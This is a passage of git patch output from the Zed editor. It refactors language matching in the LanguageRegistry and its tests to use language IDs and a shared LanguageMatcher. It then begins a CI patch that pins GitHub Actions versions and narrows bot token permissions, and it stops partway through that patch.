-                config.first_line_pattern.as_ref().is_some_and(|pattern| {
-                    content
-                        .as_ref()
-                        .is_some_and(|content| pattern.is_match(content))
-                })
-            };
-
-            // Only return a match for the given file if we have a better match than
-            // the current one.
-            match current_best_match {
-                LanguageMatchPrecedence::PathOrContent(current_len) => {
-                    if let Some(len) = path_matches_custom_suffix() {
-                        // >= because user config should win tie with system ext len
-                        (len >= current_len).then_some(LanguageMatchPrecedence::UserConfigured(len))
-                    } else if let Some(len) = path_matches_default_suffix() {
-                        // >= because user config should win tie with system ext len
-                        (len >= current_len).then_some(LanguageMatchPrecedence::PathOrContent(len))
-                    } else {
-                        None
-                    }
-                }
-                LanguageMatchPrecedence::Undetermined => {
-                    if let Some(len) = path_matches_custom_suffix() {
-                        Some(LanguageMatchPrecedence::UserConfigured(len))
-                    } else if let Some(len) = path_matches_default_suffix() {
-                        Some(LanguageMatchPrecedence::PathOrContent(len))
-                    } else if content_matches() {
-                        Some(LanguageMatchPrecedence::PathOrContent(1))
-                    } else {
-                        None
-                    }
-                }
-                LanguageMatchPrecedence::UserConfigured(_) => None,
-            }
-        })
-    }
-
-    fn find_matching_language(
-        self: &Arc<Self>,
-        callback: impl Fn(
-            &LanguageName,
-            &LanguageMatcher,
-            LanguageMatchPrecedence,
-        ) -> Option<LanguageMatchPrecedence>,
-    ) -> Option<AvailableLanguage> {
-        let state = self.state.read();
-        let available_language = state
+    ) -> Option<LanguageId> {
+        self.state
+            .read()
             .available_languages
-            .iter()
-            .rev()
-            .fold(None, |best_language_match, language| {
-                let current_match_type = best_language_match
-                    .as_ref()
-                    .map_or(LanguageMatchPrecedence::default(), |(_, score)| *score);
-                let language_score =
-                    callback(&language.name, &language.matcher, current_match_type);
-
-                match (language_score, current_match_type) {
-                    // no current best, so our candidate is better
-                    (
-                        Some(
-                            LanguageMatchPrecedence::PathOrContent(_)
-                            | LanguageMatchPrecedence::UserConfigured(_),
-                        ),
-                        LanguageMatchPrecedence::Undetermined,
-                    ) => language_score.map(|new_score| (language.clone(), new_score)),
-
-                    // our candidate is better only if the name is longer
-                    (
-                        Some(LanguageMatchPrecedence::PathOrContent(new_len)),
-                        LanguageMatchPrecedence::PathOrContent(current_len),
-                    )
-                    | (
-                        Some(LanguageMatchPrecedence::UserConfigured(new_len)),
-                        LanguageMatchPrecedence::UserConfigured(current_len),
-                    )
-                    | (
-                        Some(LanguageMatchPrecedence::PathOrContent(new_len)),
-                        LanguageMatchPrecedence::UserConfigured(current_len),
-                    ) => {
-                        if new_len > current_len {
-                            language_score.map(|new_score| (language.clone(), new_score))
-                        } else {
-                            best_language_match
-                        }
-                    }
-
-                    // our candidate is better if the name is longer or equal to
-                    (
-                        Some(LanguageMatchPrecedence::UserConfigured(new_len)),
-                        LanguageMatchPrecedence::PathOrContent(current_len),
-                    ) => {
-                        if new_len >= current_len {
-                            language_score.map(|new_score| (language.clone(), new_score))
-                        } else {
-                            best_language_match
-                        }
-                    }
-
-                    // no candidate, use current best
-                    (None, _) | (Some(LanguageMatchPrecedence::Undetermined), _) => {
-                        best_language_match
-                    }
-                }
-            })
-            .map(|(available_language, _)| available_language);
-        drop(state);
-        available_language
+            .find_for_file(path, content, user_file_types)
     }
 
     #[ztracing::instrument(skip_all)]
     pub fn load_language(
         self: &Arc<Self>,
-        language: &AvailableLanguage,
+        language_id: LanguageId,
     ) -> oneshot::Receiver<Result<Arc<Language>>> {
         let (tx, rx) = oneshot::channel();
 
@@ -874,13 +605,23 @@ impl LanguageRegistry {
 
         // If the language is already loaded, resolve with it immediately.
         for loaded_language in state.languages.iter() {
-            if loaded_language.id == language.id {
+            if loaded_language.id == language_id {
                 tx.send(Ok(loaded_language.clone())).unwrap();
                 return rx;
             }
         }
 
-        match state.loading_languages.entry(language.id) {
+        let Some(available_language) = state.available_languages.get_language(language_id) else {
+            tx.send(Err(anyhow!(LanguageNotFound))).ok();
+            return rx;
+        };
+
+        let (language_name, language_load) = (
+            available_language.name.clone(),
+            available_language.load.clone(),
+        );
+
+        match state.loading_languages.entry(language_id) {
             // If the language is already being loaded, then add this
             // channel to a list that will be sent to when the load completes.
             hash_map::Entry::Occupied(mut entry) => entry.get_mut().push(tx),
@@ -889,10 +630,6 @@ impl LanguageRegistry {
             hash_map::Entry::Vacant(entry) => {
                 let this = self.clone();
 
-                let id = language.id;
-                let name = language.name.clone();
-                let language_load = language.load.clone();
-
                 self.executor
                     .spawn(async move {
                         let language = async {
@@ -900,16 +637,22 @@ impl LanguageRegistry {
                             if let Some(grammar) = loaded_language.config.grammar.clone() {
                                 let grammar = Some(this.get_or_load_grammar(grammar).await?);
 
-                                Language::new_with_id(id, loaded_language.config, grammar)
+                                Language::new_with_id(language_id, loaded_language.config, grammar)
                                     .with_context_provider(loaded_language.context_provider)
                                     .with_toolchain_lister(loaded_language.toolchain_provider)
                                     .with_manifest(loaded_language.manifest_name)
                                     .with_queries(loaded_language.queries)
                             } else {
-                                Ok(Language::new_with_id(id, loaded_language.config, None)
+                                Ok(
+                                    Language::new_with_id(
+                                        language_id,
+                                        loaded_language.config,
+                                        None,
+                                    )
                                     .with_context_provider(loaded_language.context_provider)
                                     .with_manifest(loaded_language.manifest_name)
-                                    .with_toolchain_lister(loaded_language.toolchain_provider))
+                                    .with_toolchain_lister(loaded_language.toolchain_provider),
+                                )
                             }
                         }
                         .await;
@@ -920,21 +663,23 @@ impl LanguageRegistry {
                                 let mut state = this.state.write();
 
                                 state.add(language.clone());
-                                state.mark_language_loaded(id);
-                                if let Some(mut txs) = state.loading_languages.remove(&id) {
+                                state.mark_language_loaded(language_id);
+                                if let Some(mut txs) = state.loading_languages.remove(&language_id)
+                                {
                                     for tx in txs.drain(..) {
                                         let _ = tx.send(Ok(language.clone()));
                                     }
                                 }
                             }
                             Err(e) => {
-                                log::error!("failed to load language {name}:\n{e:?}");
+                                log::error!("failed to load language {language_name}:\n{e:?}");
                                 let mut state = this.state.write();
-                                state.mark_language_loaded(id);
-                                if let Some(mut txs) = state.loading_languages.remove(&id) {
+                                state.mark_language_loaded(language_id);
+                                if let Some(mut txs) = state.loading_languages.remove(&language_id)
+                                {
                                     for tx in txs.drain(..) {
                                         let _ = tx.send(Err(anyhow!(
-                                            "failed to load language {name}: {e}",
+                                            "failed to load language {language_name}: {e}",
                                         )));
                                     }
                                 }
@@ -954,19 +699,15 @@ impl LanguageRegistry {
     #[ztracing::instrument(skip_all)]
     fn get_or_load_language(
         self: &Arc<Self>,
-        callback: impl Fn(
-            &LanguageName,
-            &LanguageMatcher,
-            LanguageMatchPrecedence,
-        ) -> Option<LanguageMatchPrecedence>,
+        language_id: Option<LanguageId>,
     ) -> oneshot::Receiver<Result<Arc<Language>>> {
-        let Some(language) = self.find_matching_language(callback) else {
+        let Some(language_id) = language_id else {
             let (tx, rx) = oneshot::channel();
             let _ = tx.send(Err(anyhow!(LanguageNotFound)));
             return rx;
         };
 
-        self.load_language(&language)
+        self.load_language(language_id)
     }
 
     fn get_or_load_grammar(
@@ -1141,9 +882,7 @@ impl LanguageRegistryState {
         self.languages.clear();
         self.version += 1;
         self.reload_count += 1;
-        for language in &mut self.available_languages {
-            language.loaded = false;
-        }
+        self.available_languages.mark_all_unloaded();
         *self.subscription.0.borrow_mut() = ();
     }
 
@@ -1188,8 +927,7 @@ impl LanguageRegistryState {
 
         self.languages
             .retain(|language| !languages_to_remove.contains(&language.name()));
-        self.available_languages
-            .retain(|language| !languages_to_remove.contains(&language.name));
+        self.available_languages.remove(languages_to_remove);
         self.grammars
             .retain(|name, _| !grammars_to_remove.contains(name));
         self.version += 1;
@@ -1200,12 +938,7 @@ impl LanguageRegistryState {
     /// Mark the given language as having been loaded, so that the
     /// language registry won't try to load it again.
     fn mark_language_loaded(&mut self, id: LanguageId) {
-        for language in &mut self.available_languages {
-            if language.id == id {
-                language.loaded = true;
-                break;
-            }
-        }
+        self.available_languages.mark_loaded(id);
     }
 }
 
diff --git a/crates/language/src/runnable.rs b/crates/language/src/runnable.rs
index a49bf42aae74ec..0dbdd4ba489137 100644
--- a/crates/language/src/runnable.rs
+++ b/crates/language/src/runnable.rs
@@ -385,10 +385,11 @@ mod tests {
         let language = Language::new(
             LanguageConfig {
                 name: "Rust".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["rs".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             Some(tree_sitter_rust::LANGUAGE.into()),
diff --git a/crates/language/src/syntax_map/syntax_map_tests.rs b/crates/language/src/syntax_map/syntax_map_tests.rs
index 98804037e31b8b..11b286764ce2a1 100644
--- a/crates/language/src/syntax_map/syntax_map_tests.rs
+++ b/crates/language/src/syntax_map/syntax_map_tests.rs
@@ -1397,10 +1397,11 @@ fn html_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "HTML".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["html".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_html::LANGUAGE.into()),
@@ -1419,10 +1420,11 @@ fn ruby_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "Ruby".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rb".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_ruby::LANGUAGE.into()),
@@ -1441,10 +1443,11 @@ fn erb_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "ERB".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["erb".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_embedded_template::LANGUAGE.into()),
@@ -1477,10 +1480,11 @@ fn elixir_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "Elixir".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ex".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_elixir::LANGUAGE.into()),
@@ -1497,10 +1501,11 @@ fn heex_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "HEEx".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["heex".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_heex::LANGUAGE.into()),
@@ -1529,10 +1534,11 @@ fn python_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "Python".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["py".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             line_comments: vec!["# ".into()],
             ..Default::default()
         },
diff --git a/crates/language_core/src/language_config.rs b/crates/language_core/src/language_config.rs
index 5eea2d123b1585..72ab3fcf5bdde8 100644
--- a/crates/language_core/src/language_config.rs
+++ b/crates/language_core/src/language_config.rs
@@ -39,7 +39,7 @@ pub struct LanguageConfig {
     pub grammar: Option<Arc<str>>,
     /// The criteria for matching this language to a given file.
     #[serde(flatten)]
-    pub matcher: LanguageMatcher,
+    pub matcher: Arc<LanguageMatcher>,
     /// List of bracket types in a language.
     #[serde(default)]
     pub brackets: BracketPairConfig,
@@ -163,7 +163,7 @@ impl Default for LanguageConfig {
             code_fence_block_name: None,
             kernel_language_names: Default::default(),
             grammar: None,
-            matcher: LanguageMatcher::default(),
+            matcher: Arc::default(),
             brackets: Default::default(),
             auto_indent_using_last_non_empty_line: default_true(),
             auto_indent_on_paste: None,
@@ -223,7 +223,7 @@ pub struct TaskListConfig {
     pub continuation: Arc<str>,
 }
 
-#[derive(Clone, Debug, Serialize, Deserialize, Default, JsonSchema)]
+#[derive(Debug, Serialize, Deserialize, Default, JsonSchema)]
 pub struct LanguageMatcher {
     /// Given a list of `LanguageConfig`'s, the language of a file can be determined based on the path extension matching any of the `path_suffixes`.
     #[serde(default)]
diff --git a/crates/language_extension/src/language_extension.rs b/crates/language_extension/src/language_extension.rs
index ffddd3d90f89ee..89246d538b6ede 100644
--- a/crates/language_extension/src/language_extension.rs
+++ b/crates/language_extension/src/language_extension.rs
@@ -48,7 +48,7 @@ impl ExtensionLanguageProxy for LanguageServerRegistryProxy {
         &self,
         language: LanguageName,
         grammar: Option<Arc<str>>,
-        matcher: LanguageMatcher,
+        matcher: Arc<LanguageMatcher>,
         hidden: bool,
         load: Arc<dyn Fn() -> Result<LoadedLanguage> + Send + Sync + 'static>,
     ) {
diff --git a/crates/language_selector/src/language_selector.rs b/crates/language_selector/src/language_selector.rs
index 3fab580ae49d61..52f41a330be876 100644
--- a/crates/language_selector/src/language_selector.rs
+++ b/crates/language_selector/src/language_selector.rs
@@ -366,10 +366,11 @@ mod tests {
                 language_registry.add(Arc::new(Language::new(
                     LanguageConfig {
                         name: language_name.into(),
-                        matcher: LanguageMatcher {
+                        matcher: (LanguageMatcher {
                             path_suffixes: vec![path_suffix.to_string()],
                             ..Default::default()
-                        },
+                        })
+                        .into(),
                         ..Default::default()
                     },
                     None,
diff --git a/crates/language_tools/src/lsp_log_view_tests.rs b/crates/language_tools/src/lsp_log_view_tests.rs
index 476f23ffd82c66..326512d3741378 100644
--- a/crates/language_tools/src/lsp_log_view_tests.rs
+++ b/crates/language_tools/src/lsp_log_view_tests.rs
@@ -37,10 +37,11 @@ async fn test_lsp_log_view(cx: &mut TestAppContext) {
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
diff --git a/crates/languages/src/lib.rs b/crates/languages/src/lib.rs
index fe07a3f998859e..2f0893fda45211 100644
--- a/crates/languages/src/lib.rs
+++ b/crates/languages/src/lib.rs
@@ -41,11 +41,12 @@ pub static LANGUAGE_GIT_COMMIT: std::sync::LazyLock<Arc<Language>> =
             LanguageConfig {
                 name: "Git Commit".into(),
                 soft_wrap: Some(language::SoftWrap::EditorWidth),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["COMMIT_EDITMSG".to_owned()],
                     first_line_pattern: None,
                     ..LanguageMatcher::default()
-                },
+                })
+                .into(),
                 line_comments: vec![Arc::from("#")],
                 ..LanguageConfig::default()
             },
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index f9862ee9ae102e..6134c410493fdf 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -4991,10 +4991,11 @@ mod tests {
         let javascript_language = Arc::new(Language::new(
             LanguageConfig {
                 name: "JavaScript".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["js".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 word_characters: ['$', '#'].into_iter().collect(),
                 ..Default::default()
             },
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 15836796add4f0..4d2795b86273ed 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -5192,10 +5192,12 @@ impl LspStore {
         &mut self,
         buffer_handle: &Entity<Buffer>,
         cx: &mut Context<Self>,
-    ) -> Option<language::AvailableLanguage> {
+    ) {
         // If the buffer has a language, set it and start the language server if we haven't already.
         let buffer = buffer_handle.read(cx);
-        let file = buffer.file()?;
+        let Some(file) = buffer.file() else {
+            return;
+        };
         let content = buffer.as_rope();
         let modeline_settings = buffer.modeline().map(Arc::as_ref);
 
@@ -5206,14 +5208,13 @@ impl LspStore {
         {
             self.languages
                 .available_language_for_modeline_name(mode_name)
+                .map(|language| language.id())
         } else {
             self.languages.language_for_file(file, Some(content), cx)
         };
-        if let Some(available_language) = &available_language {
-            if let Some(Ok(Ok(new_language))) = self
-                .languages
-                .load_language(available_language)
-                .now_or_never()
+        if let Some(language_id) = available_language {
+            if let Some(Ok(Ok(new_language))) =
+                self.languages.load_language(language_id).now_or_never()
             {
                 self.set_language_for_buffer(buffer_handle, new_language, cx);
             }
@@ -5223,8 +5224,6 @@ impl LspStore {
                 new_language: None,
             });
         }
-
-        available_language
     }
 
     pub(crate) fn set_language_for_buffer(
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 3ddc23990174ab..1b373941d24a25 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -14971,10 +14971,11 @@ fn json_lang() -> Arc<Language> {
     Arc::new(Language::new(
         LanguageConfig {
             name: "JSON".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["json".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         None,
@@ -14985,10 +14986,11 @@ fn js_lang() -> Arc<Language> {
     Arc::new(Language::new(
         LanguageConfig {
             name: "JavaScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["js".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         None,
@@ -15053,10 +15055,11 @@ fn python_lang(fs: Arc<FakeFs>) -> Arc<Language> {
         Language::new(
             LanguageConfig {
                 name: "Python".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["py".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             None, // We're not testing Python parsing with this language.
@@ -15072,10 +15075,11 @@ fn typescript_lang() -> Arc<Language> {
     Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -15086,10 +15090,11 @@ fn tsx_lang() -> Arc<Language> {
     Arc::new(Language::new(
         LanguageConfig {
             name: "tsx".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["tsx".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TSX.into()),
diff --git a/crates/project_symbols/src/project_symbols.rs b/crates/project_symbols/src/project_symbols.rs
index b0cd93ac6ed6e3..65771815693fff 100644
--- a/crates/project_symbols/src/project_symbols.rs
+++ b/crates/project_symbols/src/project_symbols.rs
@@ -358,10 +358,11 @@ mod tests {
         language_registry.add(Arc::new(Language::new(
             LanguageConfig {
                 name: "Rust".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["rs".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             None,
@@ -511,10 +512,11 @@ mod tests {
         language_registry.add(Arc::new(Language::new(
             LanguageConfig {
                 name: "Rust".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["rs".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             None,
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 8d07bfeb49a112..271ce2ad27e3d3 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -699,10 +699,11 @@ async fn test_remote_lsp(cx: &mut TestAppContext, server_cx: &mut TestAppContext
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -932,10 +933,11 @@ async fn test_remote_code_action_resolve(cx: &mut TestAppContext, server_cx: &mu
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -1090,10 +1092,11 @@ async fn test_remote_code_lens_fetch_after_lsp_starts(
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -1225,10 +1228,10 @@ async fn test_remote_code_lens_refetch_after_refresh(
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: Arc::new(LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..LanguageMatcher::default()
-            },
+            }),
             ..LanguageConfig::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -1371,10 +1374,10 @@ async fn test_remote_lsp_data_cache_converges_with_multiple_servers(
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: Arc::new(LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..LanguageMatcher::default()
-            },
+            }),
             ..LanguageConfig::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -1536,10 +1539,10 @@ async fn test_remote_per_server_refresh_queries_only_the_refreshed_server(
     // detects the buffer's language and starts the servers.
     let fake_language_config = || LanguageConfig {
         name: "Fake".into(),
-        matcher: LanguageMatcher {
+        matcher: Arc::new(LanguageMatcher {
             path_suffixes: vec!["fake".into()],
             ..LanguageMatcher::default()
-        },
+        }),
         ..LanguageConfig::default()
     };
     let fake_adapter =
@@ -1691,10 +1694,11 @@ async fn test_remote_code_lens_resolve(cx: &mut TestAppContext, server_cx: &mut
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -1851,10 +1855,11 @@ async fn test_remote_cancel_language_server_work(
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         project.languages().register_fake_lsp_adapter(
@@ -3867,10 +3872,11 @@ async fn test_remote_apply_code_action_skips_unadvertised_command(
     cx.update_entity(&project, |project, _| {
         project.languages().register_test_language(LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         project.languages().register_fake_lsp_adapter(
diff --git a/crates/repl/src/repl_sessions_ui.rs b/crates/repl/src/repl_sessions_ui.rs
index 3bf242a1860366..75c059d9524f81 100644
--- a/crates/repl/src/repl_sessions_ui.rs
+++ b/crates/repl/src/repl_sessions_ui.rs
@@ -398,10 +398,11 @@ mod tests {
             Language::new(
                 LanguageConfig {
                     name: "Python".into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec!["py".to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     ..Default::default()
                 },
                 None,
diff --git a/crates/tasks_ui/src/modal.rs b/crates/tasks_ui/src/modal.rs
index 39a3baf842e429..a4f3c241a17eeb 100644
--- a/crates/tasks_ui/src/modal.rs
+++ b/crates/tasks_ui/src/modal.rs
@@ -1052,10 +1052,11 @@ mod tests {
             Language::new(
                 LanguageConfig {
                     name: "Test".into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec!["test".to_string()],
                         ..LanguageMatcher::default()
-                    },
+                    })
+                    .into(),
                     ..LanguageConfig::default()
                 },
                 None,
@@ -1134,10 +1135,11 @@ mod tests {
                 Language::new(
                     LanguageConfig {
                         name: "TypeScript".into(),
-                        matcher: LanguageMatcher {
+                        matcher: (LanguageMatcher {
                             path_suffixes: vec!["ts".to_string()],
                             ..LanguageMatcher::default()
-                        },
+                        })
+                        .into(),
                         ..LanguageConfig::default()
                     },
                     None,
@@ -1166,10 +1168,11 @@ mod tests {
                 Language::new(
                     LanguageConfig {
                         name: "Rust".into(),
-                        matcher: LanguageMatcher {
+                        matcher: (LanguageMatcher {
                             path_suffixes: vec!["rs".to_string()],
                             ..LanguageMatcher::default()
-                        },
+                        })
+                        .into(),
                         ..LanguageConfig::default()
                     },
                     None,

From ab3bffb6922156a67168be7d26a919af123cc5f9 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Thu, 23 Jul 2026 11:25:56 +0000
Subject: [PATCH 658/772] ci: Configure more steps more explicitly (#61401)

Also adds some Zizmor validations.

Release Notes:

- N/A
---
 .github/actions/run_tests/action.yml          |   4 +-
 .github/actions/run_tests_windows/action.yml  |   4 +-
 .../add_commented_closed_issue_to_project.yml |   3 +
 .github/workflows/autofix_pr.yml              |   4 +-
 .github/workflows/bump_patch_version.yml      |   5 +-
 .github/workflows/bump_zed_version.yml        |  15 ++-
 .github/workflows/catch_blank_issues.yml      |   3 +
 .github/workflows/cherry_pick.yml             |   2 +
 .../comment_on_potential_duplicate_issues.yml |   2 +
 .github/workflows/community_pr_board.yml      |   7 +
 .../workflows/community_pr_board_refresh.yml  |   4 +
 .github/workflows/danger.yml                  |   1 +
 .github/workflows/deploy_collab.yml           |   4 +-
 .github/workflows/docs_suggestions.yml        |  35 +++--
 .github/workflows/extension_bump.yml          |  11 ++
 .github/workflows/extension_tests.yml         |   4 +-
 .../workflows/extension_workflow_rollout.yml  |   6 +-
 .github/workflows/guild_assignment_status.yml |   5 +
 .github/workflows/guild_new_pr_notify.yml     |   8 ++
 .github/workflows/guild_stale_assignments.yml |   5 +
 .github/workflows/guild_weekly_shipped.yml    |   5 +
 .github/workflows/pr_issue_labeler.yml        |   7 +
 .github/workflows/publish_extension_cli.yml   |  10 ++
 .github/workflows/release.yml                 |  38 ++++--
 .github/workflows/release_nightly.yml         |   9 +-
 .github/workflows/run_bundling.yml            |   2 +
 .github/workflows/run_tests.yml               |  33 +++--
 ...ck_notify_community_automation_failure.yml |   7 +-
 .../track_duplicate_bot_effectiveness.yml     |   6 +
 .github/workflows/triage_project_sync.yml     |   1 +
 .github/zizmor.yml                            |   1 +
 .../src/tasks/workflows/bump_patch_version.rs |   5 +-
 .../src/tasks/workflows/bump_zed_version.rs   |  23 +++-
 .../src/tasks/workflows/extension_bump.rs     |  23 +++-
 .../workflows/extension_workflow_rollout.rs   |   3 +-
 .../tasks/workflows/publish_extension_cli.rs  |  14 +-
 tooling/xtask/src/tasks/workflows/release.rs  |   6 +-
 .../xtask/src/tasks/workflows/run_tests.rs    |  16 ++-
 tooling/xtask/src/tasks/workflows/steps.rs    | 120 +++++++++---------
 39 files changed, 340 insertions(+), 121 deletions(-)
 create mode 100644 .github/zizmor.yml

diff --git a/.github/actions/run_tests/action.yml b/.github/actions/run_tests/action.yml
index 9448dfebb0e1a2..49022915ee4207 100644
--- a/.github/actions/run_tests/action.yml
+++ b/.github/actions/run_tests/action.yml
@@ -5,7 +5,9 @@ runs:
   using: "composite"
   steps:
     - name: Install nextest
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c # nextest
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9 # 2.84.0
+      with:
+        tool: nextest
 
     - name: Install Node
       uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
diff --git a/.github/actions/run_tests_windows/action.yml b/.github/actions/run_tests_windows/action.yml
index 3752cbb50d5384..d1a5219144e89f 100644
--- a/.github/actions/run_tests_windows/action.yml
+++ b/.github/actions/run_tests_windows/action.yml
@@ -12,7 +12,9 @@ runs:
   steps:
     - name: Install test runner
       working-directory: ${{ inputs.working-directory }}
-      uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c # nextest
+      uses: taiki-e/install-action@a6b2e2dcd845ddd7f509ce4f3ed3d922b80cc5d9 # 2.84.0
+      with:
+        tool: nextest
 
     - name: Install Node
       uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
diff --git a/.github/workflows/add_commented_closed_issue_to_project.yml b/.github/workflows/add_commented_closed_issue_to_project.yml
index 27315e7160200d..47877b6b11a47b 100644
--- a/.github/workflows/add_commented_closed_issue_to_project.yml
+++ b/.github/workflows/add_commented_closed_issue_to_project.yml
@@ -40,6 +40,9 @@ jobs:
           app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
+          repositories: zed
+          permission-members: read
+          permission-organization-projects: write
 
       - if: steps.is-post-close-comment.outputs.result == 'true'
         id: check-staff
diff --git a/.github/workflows/autofix_pr.yml b/.github/workflows/autofix_pr.yml
